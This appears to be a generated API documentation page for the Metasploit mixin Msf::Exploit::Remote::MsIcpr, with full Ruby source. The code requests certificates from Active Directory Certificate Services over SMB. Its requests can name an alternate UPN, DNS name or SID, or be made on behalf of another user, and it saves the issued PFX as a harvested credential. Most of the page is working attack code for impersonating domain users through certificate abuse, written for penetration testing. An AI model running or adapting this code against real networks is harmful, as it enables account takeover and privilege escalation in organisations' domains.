Module: Msf::Exploit::Remote::MsIcpr

Includes:
DCERPC, SMB::Client::Ipc
Defined in:
lib/msf/core/exploit/remote/ms_icpr.rb

Defined Under Namespace

Classes: MsIcprAuthenticationError, MsIcprConnectionError, MsIcprError, MsIcprNotFoundError, MsIcprUnexpectedReplyError, MsIcprUnknownError

Constant Summary collapse

OID_NTDS_CA_SECURITY_EXT =
'1.3.6.1.4.1.311.25.2'.freeze
OID_NT_PRINCIPAL_NAME =
'1.3.6.1.4.1.311.20.2.3'.freeze
OID_NTDS_OBJECTSID =
'1.3.6.1.4.1.311.25.2.1'.freeze
OID_ENROLLMENT_NAME_VALUE_PAIR =
'1.3.6.1.4.1.311.13.2.1'.freeze

Constants included from DCERPC

DCERPC::DCERPCClient, DCERPC::DCERPCPacket, DCERPC::DCERPCResponse, DCERPC::DCERPCUUID, DCERPC::NDR

Constants included from DCERPC_LSA

DCERPC_LSA::NDR

Constants included from DCERPC_MGMT

DCERPC_MGMT::NDR

Constants included from SMB::Client

SMB::Client::CONST, SMB::Client::DCERPCClient, SMB::Client::DCERPCPacket, SMB::Client::DCERPCResponse, SMB::Client::DCERPCUUID, SMB::Client::NDR, SMB::Client::SIMPLE, SMB::Client::XCEPT

Instance Attribute Summary

Attributes included from DCERPC

#dcerpc, #handle

Attributes included from Tcp

#sock

Attributes included from SMB::Client

#simple

Class Method Summary collapse

Instance Method Summary collapse

Methods included from DCERPC

#dcerpc_bind, #dcerpc_call, #dcerpc_getarch, #dcerpc_handle, #dcerpc_handle_target, #unicode

Methods included from DCERPC_LSA

#lsa_open_policy

Methods included from DCERPC_MGMT

#dcerpc_mgmt_connect, #dcerpc_mgmt_inq_if_ids, #dcerpc_mgmt_inq_if_stats, #dcerpc_mgmt_inq_princ_name, #dcerpc_mgmt_is_server_listening, #dcerpc_mgmt_stop_server_listening

Methods included from DCERPC_EPM

#dcerpc_endpoint_find_tcp, #dcerpc_endpoint_find_udp, #dcerpc_endpoint_list

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version

Methods included from SMB::Client::Ipc

connect_ipc, disconnect_ipc

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options

Methods included from Kerberos::Ticket::Storage

#kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from SMB::Client

#connect, #domain, #domain_username_split, #smb_create, #smb_direct, #smb_enumprinters, #smb_enumprintproviders, #smb_file_exist?, #smb_file_rm, #smb_fingerprint, #smb_fingerprint_windows_lang, #smb_fingerprint_windows_sp, #smb_hostname, #smb_lanman_netshareenumall, #smb_login, #smb_lookup_share_type, #smb_netshareenumall, #smb_netsharegetinfo, #smb_open, #smb_peer_lm, #smb_peer_os, #smb_srvsvc_netshareenumall, #smb_srvsvc_netsharegetinfo, #smbhost, #splitname, #unicode

Class Method Details

.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256') ⇒ OpenSSL::X509::Request

Make a certificate signing request.

Parameters:

  • cn (String)

    The common name for the certificate.

  • private_key (OpenSSL::PKey)

    The private key for the certificate.

  • dns (String) (defaults to: nil)

    An alternative DNS name to use.

  • msext_sid (String) (defaults to: nil)

    An explicit SID to specify for strong identity mapping.

  • msext_upn (String) (defaults to: nil)

    An alternative User Principal Name (this is a Microsoft-specific feature).

Returns:

  • (OpenSSL::X509::Request)

    The request object.



243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 243

def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256')
  request = OpenSSL::X509::Request.new
  request.version = 1
  request.subject = OpenSSL::X509::Name.new([
    ['CN', cn, OpenSSL::ASN1::UTF8STRING]
  ])
  request.public_key = private_key.public_key

  extensions = []

  subject_alt_names = []
  subject_alt_names << "DNS:#{dns}" if dns
  subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
  unless subject_alt_names.empty?
    extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false)
  end

  if msext_sid
    ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
      type_id: OID_NTDS_OBJECTSID,
      value: msext_sid
    })
    extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
  end

  unless extensions.empty?
    request.add_attribute(OpenSSL::X509::Attribute.new(
      'extReq',
      OpenSSL::ASN1::Set.new(
        [OpenSSL::ASN1::Sequence.new(extensions)]
      )
    ))
  end

  request.sign(private_key, OpenSSL::Digest.new(algorithm))
  request
end

.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ⇒ Rex::Proto::Kerberos::Model::Pkinit::ContentInfo

Make a certificate request on behalf of another user.

Parameters:

  • csr (OpenSSL::X509::Request)

    The certificate request to make on behalf of the user.

  • on_behalf_of (String)

    The user to make the request on behalf of.

  • cert (OpenSSL::X509::Certificate)

    The public key to use for signing the request.

  • key (OpenSSL::PKey::RSA)

    The private key to use for signing the request.

  • algorithm (String) (defaults to: 'SHA256')

    The digest algorithm to use.

Returns:



289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 289

def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
  # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
  digest = OpenSSL::Digest.new(algorithm)
  unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) }
    raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs."
  end

  digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)

  signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new(
    version: 1,
    sid: {
      issuer: cert.issuer,
      serial_number: cert.serial.to_i
    },
    digest_algorithm: {
      algorithm: digest_oid
    },
    signed_attrs: [
      {
        attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR,
        attribute_values: [
          RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new(
            name: 'requestername',
            value: on_behalf_of
          ))
        ]
      },
      {
        attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest,
        attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))]
      }
    ],
    signature_algorithm: {
      algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}")
    }
  )
  data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der
  signature = key.sign(digest, data)

  signer_info[:signature] = signature

  signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new(
    version: 3,
    digest_algorithms: [
      {
        algorithm: digest_oid
      }
    ],
    encap_content_info: {
      econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData,
      econtent: csr.to_der
    },
    certificates: [{ openssl_certificate: cert }],
    signer_infos: [signer_info]
  )

  Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new(
    content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
    signed_data: signed_data
  )
end

.connect_icpr(tree) ⇒ Object



111
112
113
114
115
116
117
118
119
120
121
122
123
124
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 111

def connect_icpr(tree)
  vprint_status('Connecting to ICertPassage (ICPR) Remote Protocol')
  icpr = tree.open_file(filename: 'cert', write: true, read: true)

  vprint_status('Binding to \\cert...')
  icpr.bind(
    endpoint: RubySMB::Dcerpc::Icpr,
    auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
  )
  vprint_good('Bound to \\cert')

  icpr
end

.do_request_cert(icpr, opts) ⇒ Object



126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 126

def do_request_cert(icpr, opts)
  private_key = OpenSSL::PKey::RSA.new(2048)
  user = opts[:username] || datastore['SMBUser']
  status_msg = "Requesting a certificate for user #{user}"
  alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'])
  alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
  alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
  algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
  status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
  status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
  status_msg << " - digest algorithm: #{algorithm}" if algorithm
  csr = build_csr(
    cn: user,
    private_key: private_key,
    dns: alt_dns,
    msext_sid: alt_sid,
    msext_upn: alt_upn,
    algorithm: algorithm
  )

  on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
  status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of
  if @pkcs12 && on_behalf_of
    vprint_status("Building certificate request on behalf of #{on_behalf_of}")
    csr = build_on_behalf_of(
      csr: csr,
      on_behalf_of: on_behalf_of,
      cert: @pkcs12.certificate,
      key: @pkcs12.key,
      algorithm: algorithm
    )
  end

  cert_template = opts[:cert_template] || datastore['CERT_TEMPLATE']
  status_msg << " - template: #{cert_template}"
  attributes = { 'CertificateTemplate' => cert_template }
  san = []
  san << "dns=#{alt_dns}" if alt_dns
  san << "upn=#{alt_upn}" if alt_upn
  attributes['SAN'] = san.join('&') unless san.empty?

  vprint_status(status_msg)
  response = icpr.cert_server_request(
    attributes: attributes,
    authority: datastore['CA'],
    csr: csr
  )
  case response[:status]
  when :issued
    print_good('The requested certificate was issued.')
  when :submitted
    print_warning('The requested certificate was submitted for review.')
  else
    print_error('There was an error while requesting the certificate.')
    print_error(response[:disposition_message].strip.to_s) unless response[:disposition_message].blank?
    hresult = ::WindowsError::HResult.find_by_retval(response[:disposition]).first

    if hresult
      print_error('Error details:')
      print_error("  Source:  #{hresult.facility}") if hresult.facility
      print_error("  HRESULT: #{hresult}")
    end
  end

  return unless response[:certificate]

  unless (dns = get_cert_san_dns(response[:certificate])).empty?
    print_status("Certificate DNS: #{dns.join(', ')}")
  end

  unless (email = get_cert_san_email(response[:certificate])).empty?
    print_status("Certificate Email: #{email.join(', ')}")
  end

  if (sid = get_cert_msext_sid(response[:certificate]))
    print_status("Certificate SID: #{sid}")
  end

  unless (upn = get_cert_msext_upn(response[:certificate])).empty?
    print_status("Certificate UPN: #{upn.join(', ')}")
  end

  pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
  # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
  info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"

  service_data = icpr_service_data
  credential_data = {
    **service_data,
    address: service_data[:host],
    port: rport,
    protocol: service_data[:proto],
    service_name: service_data[:name],
    workspace_id: myworkspace_id,
    username: upn || datastore['SMBUser'],
    private_type: :pkcs12,
    # pkcs12 is a binary format, but for persisting we Base64 encode it
    private_data: Base64.strict_encode64(pkcs12.to_der),
    origin_type: :service,
    module_fullname: fullname
  }
  create_credential(credential_data)

  stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
  print_status("Certificate stored at: #{stored_path}")

  pkcs12
end

.get_cert_msext_sid(cert) ⇒ String?

Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (String, nil)

    The SID if it was found, otherwise nil.



356
357
358
359
360
361
362
363
364
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 356

def get_cert_msext_sid(cert)
  ext = cert.extensions.find { |e| e.oid == OID_NTDS_CA_SECURITY_EXT }
  return unless ext

  ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der)
  return unless ntds_ca_security_ext[:OtherName][:type_id].value == OID_NTDS_OBJECTSID

  ntds_ca_security_ext[:OtherName][:value].value
end

.get_cert_msext_upn(cert) ⇒ Array<String>

Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (Array<String>)

    The UPNs if any were found.



370
371
372
373
374
375
376
377
378
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 370

def get_cert_msext_upn(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:otherName][:type_id]&.value == OID_NT_PRINCIPAL_NAME
  end.map do |gn|
    RASN1::Types::Utf8String.parse(gn[:otherName][:value].value, explicit: 0, constructed: true).value
  end
end

.get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName

Get the SubjectAltName (SAN) field from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:



384
385
386
387
388
389
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 384

def get_cert_san(cert)
  ext = cert.extensions.find { |e| e.oid == 'subjectAltName' }
  return unless ext

  Rex::Proto::CryptoAsn1::X509::SubjectAltName.parse(ext.value_der)
end

.get_cert_san_dns(cert) ⇒ Array<String>

Get the DNS hostnames from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (Array<String>)

    The DNS names if any were found.



395
396
397
398
399
400
401
402
403
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 395

def get_cert_san_dns(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:dNSName].value?
  end.map do |gn|
    gn[:dNSName].value
  end
end

.get_cert_san_email(cert) ⇒ Array<String>

Get the E-mail addresses from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (Array<String>)

    The E-mail addresses if any were found.



410
411
412
413
414
415
416
417
418
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 410

def get_cert_san_email(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:rfc822Name].value?
  end.map do |gn|
    gn[:rfc822Name].value
  end
end

.icpr_service_dataObject



420
421
422
423
424
425
426
427
428
429
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 420

def icpr_service_data
  {
    host: rhost,
    port: rport,
    host_name: simple.client.default_name,
    proto: 'tcp',
    name: 'smb',
    info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
  }
end

Instance Method Details

#initialize(info = {}) ⇒ Object



33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 33

def initialize(info = {})
  super

  register_options([
    OptString.new('CA', [ true, 'The target certificate authority' ]),
    OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
    OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
    OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
    OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
    OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
    OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
    Opt::RPORT(445)
  ], Msf::Exploit::Remote::MsIcpr)

  register_advanced_options([
    OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
  ])
end

#request_certificate(opts = {}) ⇒ Object



81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 81

def request_certificate(opts = {})
  tree = opts[:tree] || connect_ipc

  begin
    icpr = connect_icpr(tree)
  rescue RubySMB::Error::UnexpectedStatusCode => e
    if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
      # STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target
      raise MsIcprNotFoundError, 'Connection failed (AD CS was not found)'
    end

    elog(e.message, error: e)
    raise MsIcprUnexpectedReplyError, "Connection failed (unexpected status: #{e.status_name})"
  end

  do_request_cert(icpr, opts)

rescue RubySMB::Dcerpc::Error::FaultError => e
  elog(e.message, error: e)
  raise MsIcprUnexpectedReplyError, "Operation failed (DCERPC fault: #{e.status_name})"
rescue RubySMB::Dcerpc::Error::DcerpcError => e
  elog(e.message, error: e)
  raise MsIcprUnexpectedReplyError, e.message
rescue RubySMB::Error::RubySMBError
  elog(e.message, error: e)
  raise MsIcprUnknownError, e.message
end

#setupObject



52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 52

def setup
  errors = {}
  if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/
    errors['ALT_SID'] = 'Must be a valid SID.'
  end

  if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/
    errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.'
  end

  if datastore['ON_BEHALF_OF'].present?
    errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/
    errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank?
  end

  @pkcs12 = nil
  if datastore['PFX'].present?
    begin
      @pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
    rescue StandardError => e
      errors['PFX'] = "Failed to load the PFX file (#{e})"
    end
  end

  raise OptionValidateError, errors unless errors.empty?

  super
end